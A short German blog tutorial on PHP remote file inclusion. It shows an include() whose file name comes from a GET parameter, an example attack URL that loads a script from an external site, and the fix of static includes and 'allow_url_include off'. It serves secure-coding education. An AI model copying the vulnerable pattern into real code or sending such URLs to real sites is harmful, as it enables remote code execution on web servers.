Unsichere PHP includes   PHP includes() sind in Einsteigerscripten oft zu finden und bergen großes Gefahrenrisiko in sich. Die Lücke kann aber einfach geschlossen werden.

____________

« Home

Mit Hilfe von includes können Codesegmente aufgeteilt und dem Script hinzugeladen werden, dies kann auf zwei unterschiedliche Arten geschehen:

...  include ('script.php');

Das Codebeispiel läd das Script script.php statisch in das laufende Programm hinzu. Mit dem folgenden Codesegment:

...  include ($script);

wird dynamisch ein Script im laufenden Code hinzugeladen, das können ganz unterschiedliche Scripte sein. Auch wenn letzteres Coding sicherlich sehr hilfreich und dynamisch sein kann, so ist es auch problematisch denn:

...
002 if(isset($_GET['seite'])) {
003 $seite = $_GET['seite'];
004 } else {
005 $seite = "startseite.php";
006 }
...
009 include($seite);
...

in diesem Code wird das zu includierende Script über den URL-Header als Parameter übergeben, also in etwa so:

http://index.php?seite=script.php

Angreifer könnten aber auch folgendes als URL übergeben:

http://index.php?seite=http://cmsworkbench.de/delete-index.php

Es ist also möglich externen Code einer "bösen Webseite" in das Script einzuschleusen.

So wird der Code sicher

Der include() mit fester Vergabe des zu ladenden Scriptes ist sicher, zumindest sicherer.

...  include ('script.php');

In der php.ini sollte dies durch die Einstellung vom externen laden mit:

allow_url_include off

verhindert werden. Bei off können keine Scripte von anderen Domains im include geladen werden



Weiter stöbern


send Mail mit PHP

Mit diesem kleinen Script realisieren Sie einen Mailversandt mit Standard PHP und einer Sperrliste die den Versand abbricht wenn Sperrworte enthalten sind.

User ID speichern

Steuern Sie die SPAM-Flut in Kommentaren und erlauben Sie nur einen Kommentar in 48h. Dieser Beitrag zeigt wie es geht.


Autor: Oliver Lohse   Datum: 2020-07-30   Kategorie: PHP   Schlagworte: Generieren • Erstellen • Erzeugen • Workflow